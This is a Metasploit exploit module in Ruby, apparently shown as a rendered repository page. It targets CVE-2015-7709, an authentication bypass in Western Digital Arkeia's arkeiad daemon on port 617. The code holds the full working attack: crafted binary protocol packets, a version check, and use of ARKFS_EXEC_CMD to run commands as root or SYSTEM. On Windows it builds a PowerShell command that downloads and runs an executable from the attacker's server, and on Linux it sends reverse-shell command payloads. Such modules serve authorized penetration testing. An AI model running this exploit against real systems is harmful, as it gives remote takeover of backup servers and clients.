Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/arkeia_agent_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(update_info(info,15'Name' => 'Western Digital Arkeia Remote Code Execution',16'Description' => %q{17This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.18The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are19insufficient checks on the authentication of all clients, this can be bypassed.20Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or21SYSTEM privileges.22The daemon is installed on both the Arkeia server as well on all the backup clients. The module23has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.24},25'Author' =>26[27'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' =>31[32[ 'CVE', '2015-7709' ],33[ 'EDB', '37600' ],34[ 'URL', 'https://seclists.org/fulldisclosure/2015/Jul/54' ]35],36'Privileged' => true,37'Stance' => Msf::Exploit::Stance::Aggressive,38'Payload' =>39{40'DisableNops' => true41},42'Targets' =>43[44[ 'Windows',45{46'Arch' => ARCH_X86,47'Platform' => 'win',48}49],50[ 'Linux',51{52'Arch' => ARCH_CMD,53'Platform' => 'unix',54'Payload' =>55{56'DisableNops' => true,57'Space' => 60000,58'Compat' => {59'PayloadType' => 'cmd cmd_bash',60'RequiredCmd' => 'perl python bash-tcp gawk openssl'61}62}63}64]65],66'DefaultTarget' => 0,67'DisclosureDate' => '2015-07-10'))6869register_options(70[71Opt::RPORT(617),72OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])73])74end7576def check77connect7879req = "\x00\x41"80req << "\x00" * 581req << "\x73"82req << "\x00" * 1283req << "\xc0\xa8\x02\x74"84req << "\x00" * 5685req << "\x74\x02\xa8\xc0"86req << 'ARKADMIN'87req << "\x00"88req << 'root'89req << "\x00"90req << 'root'91req << "\x00" * 392req << '4.3.0-1' # version?93req << "\x00" * 119495sock.put(req)9697header = sock.get_once(6)98unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"99disconnect100return Exploit::CheckCode::Unknown101end102103data_length = sock.get_once(2)104105unless data_length && data_length.length == 2106disconnect107return Exploit::CheckCode::Unknown108end109110data_length = data_length.unpack('n')[0]111112data = sock.get_once(data_length)113unless data && data.length == data_length114disconnect115return Exploit::CheckCode::Unknown116end117118req = "\x00\x73"119req << "\x00" * 5120req << "\x0c\x32"121req << "\x00" * 11122123sock.put(req)124header = sock.get_once(6)125unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"126disconnect127return Exploit::CheckCode::Unknown128end129130data_length = sock.get_once(2)131132unless data_length && data_length.length == 2133disconnect134return Exploit::CheckCode::Unknown135end136137data_length = data_length.unpack('n')[0]138139data = sock.get_once(data_length)140unless data && data.length == data_length141disconnect142return Exploit::CheckCode::Unknown143end144145req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"146req << 'EN' # Language147req << "\x00" * 11148149sock.put(req)150header = sock.get_once(6)151152unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"153disconnect154return Exploit::CheckCode::Unknown155end156157data_length = sock.get_once(2)158159unless data_length && data_length.length == 2160disconnect161return Exploit::CheckCode::Unknown162end163164data_length = data_length.unpack('n')[0]165166unless data_length == 0167disconnect168return Exploit::CheckCode::Unknown169end170171# ARKADMIN_GET_CLIENT_INFO172req = "\x00\x62\x00\x01"173req << "\x00" * 3174req << "\x26"175req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information176req << "\x00\x32\x38"177req << "\x00" * 11178179sock.put(req)180181header = sock.get_once(6)182unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"183disconnect184return Exploit::CheckCode::Unknown185end186187data_length = sock.get_once(2)188189unless data_length && data_length.length == 2190disconnect191return Exploit::CheckCode::Unknown192end193194data_length = data_length.unpack('n')[0]195unless data_length == 0196disconnect197return Exploit::CheckCode::Unknown198end199200req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"201req << "\x00" * 12202203sock.put(req)204205# 1st packet206207header = sock.get_once(6)208unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"209disconnect210return Exploit::CheckCode::Unknown211end212213data_length = sock.get_once(2)214215unless data_length && data_length.length == 2216disconnect217return Exploit::CheckCode::Unknown218end219220data_length = data_length.unpack('n')[0]221222data = sock.get_once(data_length)223unless data && data.length == data_length224disconnect225return Exploit::CheckCode::Unknown226end227228# 2nd packet229230header = sock.get_once(6)231unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"232disconnect233return Exploit::CheckCode::Unknown234end235236data_length = sock.get_once(2)237238unless data_length && data_length.length == 2239disconnect240return Exploit::CheckCode::Unknown241end242243data_length = data_length.unpack('n')[0]244245data = sock.get_once(data_length)246unless data && data.length == data_length247disconnect248return Exploit::CheckCode::Unknown249end250251# 3rd packet252253header = sock.get_once(6)254unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"255disconnect256return Exploit::CheckCode::Unknown257end258259data_length = sock.get_once(2)260261unless data_length && data_length.length == 2262disconnect263return Exploit::CheckCode::Unknown264end265266data_length = data_length.unpack('n')[0]267268data = sock.get_once(data_length)269unless data && data.length == data_length && data.include?('You have successfully retrieved client information')270disconnect271return Exploit::CheckCode::Unknown272end273274# 4th packet275276header = sock.get_once(6)277unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"278disconnect279return Exploit::CheckCode::Unknown280end281282data_length = sock.get_once(2)283284unless data_length && data_length.length == 2285disconnect286return Exploit::CheckCode::Unknown287end288289data_length = data_length.unpack('n')[0]290291data = sock.get_once(data_length)292unless data && data.length == data_length293disconnect294return Exploit::CheckCode::Unknown295end296297if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/298version = $1299vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")300if Rex::Version.new(version) <= Rex::Version.new('11.0.12')301return Exploit::CheckCode::Appears302else303return Exploit::CheckCode::Safe304end305else306vprint_status("#{rhost}:#{rport} - Arkeia version not detected")307return Exploit::CheckCode::Unknown308end309end310311def exploit312if target.name =~ /Windows/313314@down_file = rand_text_alpha(8+rand(8))315@pl = generate_payload_exe316317begin318Timeout.timeout(datastore['HTTP_DELAY']) {super}319rescue Timeout::Error320end321elsif target.name =~ /Linux/322communicate(payload.encoded)323return324end325end326327def primer328@payload_url = get_uri329330# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)331# is not possible on Windows agents.332command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"333command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"334command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""335336communicate(command)337end338339def communicate(command)340print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")341342connect343344print_status("#{rhost}:#{rport} - Sending agent communication")345346req = "\x00\x41\x00\x00\x00\x00\x00\x70"347req << "\x00" * 12348req << "\xc0\xa8\x02\x8a"349req << "\x00" * 56350req << "\x8a\x02\xa8\xc0"351req << 'ARKFS'352req << "\x00"353req << 'root'354req << "\x00"355req << 'root'356req << "\x00" * 3357req << '4.3.0-1' # Client version ?358req << "\x00" * 11359360sock.put(req)361362header = sock.get_once(6)363unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"364disconnect365fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")366end367368data_length = sock.get_once(2)369370unless data_length && data_length.length == 2371disconnect372fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")373end374375data_length = data_length.unpack('n')[0]376377data = sock.get_once(data_length)378unless data && data.length == data_length379disconnect380fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")381end382383req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"384req << "\x00" * 11385386sock.put(req)387header = sock.get_once(6)388unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"389disconnect390fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")391end392393data_length = sock.get_once(2)394395unless data_length && data_length.length == 2396disconnect397fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")398end399400data_length = data_length.unpack('n')[0]401402data = sock.get_once(data_length)403unless data && data.length == data_length404disconnect405fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")406end407408req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"409req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?410req << "\x00"411req << 'EN' # English language?412req << "\x00" * 11413414sock.put(req)415header = sock.get_once(6)416unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"417disconnect418fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")419end420421data_length = sock.get_once(2)422423unless data_length && data_length.length == 2424disconnect425fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")426end427428data_length = data_length.unpack('n')[0]429430unless data_length == 0431disconnect432fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")433end434435req = "\x00\x62\x00\x01\x00\x02\x00\x1b"436req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges437req << "\x00\x31"438req << "\x00" * 11439440sock.put(req)441442header = sock.get_once(6)443unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"444disconnect445fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")446end447448data_length = sock.get_once(2)449450unless data_length && data_length.length == 2451disconnect452fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")453end454455data_length = data_length.unpack('n')[0]456457unless data_length == 0458disconnect459fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")460end461462req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"463req << "\x00" * 11464465sock.put(req)466467command_length = '%02x' % command.length468command_length = command_length.scan(/../).map { |x| x.hex.chr }.join469470req = "\x00\x64\x00\x04\x00\x04"471req << [command.length].pack('n')472req << command # Our command to be executed473req << "\x00"474475print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")476477sock.put(req)478479header = sock.get_once(6)480unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"481disconnect482fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")483end484485data_length = sock.get_once(2)486487unless data_length && data_length.length == 2488disconnect489fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")490end491492data_length = data_length.unpack('n')[0]493494data = sock.get_once(data_length)495unless data && data.length == data_length496disconnect497fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")498end499500# 1st Packet501502header = sock.get_once(6)503unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"504disconnect505fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")506end507508data_length = sock.get_once(2)509510unless data_length && data_length.length == 2511disconnect512fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")513end514515data_length = data_length.unpack('n')[0]516517data = sock.get_once(data_length)518unless data && data.length == data_length519disconnect520fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")521end522523# 2st Packet524525header = sock.get_once(6)526unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"527disconnect528fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")529end530531data_length = sock.get_once(2)532533unless data_length && data_length.length == 2534disconnect535fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")536end537538data_length = data_length.unpack('n')[0]539540data = sock.get_once(data_length)541unless data && data.length == data_length542disconnect543fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")544end545end546547def on_request_uri(cli, request)548print_status("Request: #{request.uri}")549if request.uri == get_resource550print_status('Sending payload...')551send_response(cli, @pl)552register_files_for_cleanup("c:\\#{@down_file}.exe")553end554end555556def autofilter557true558end559end560561562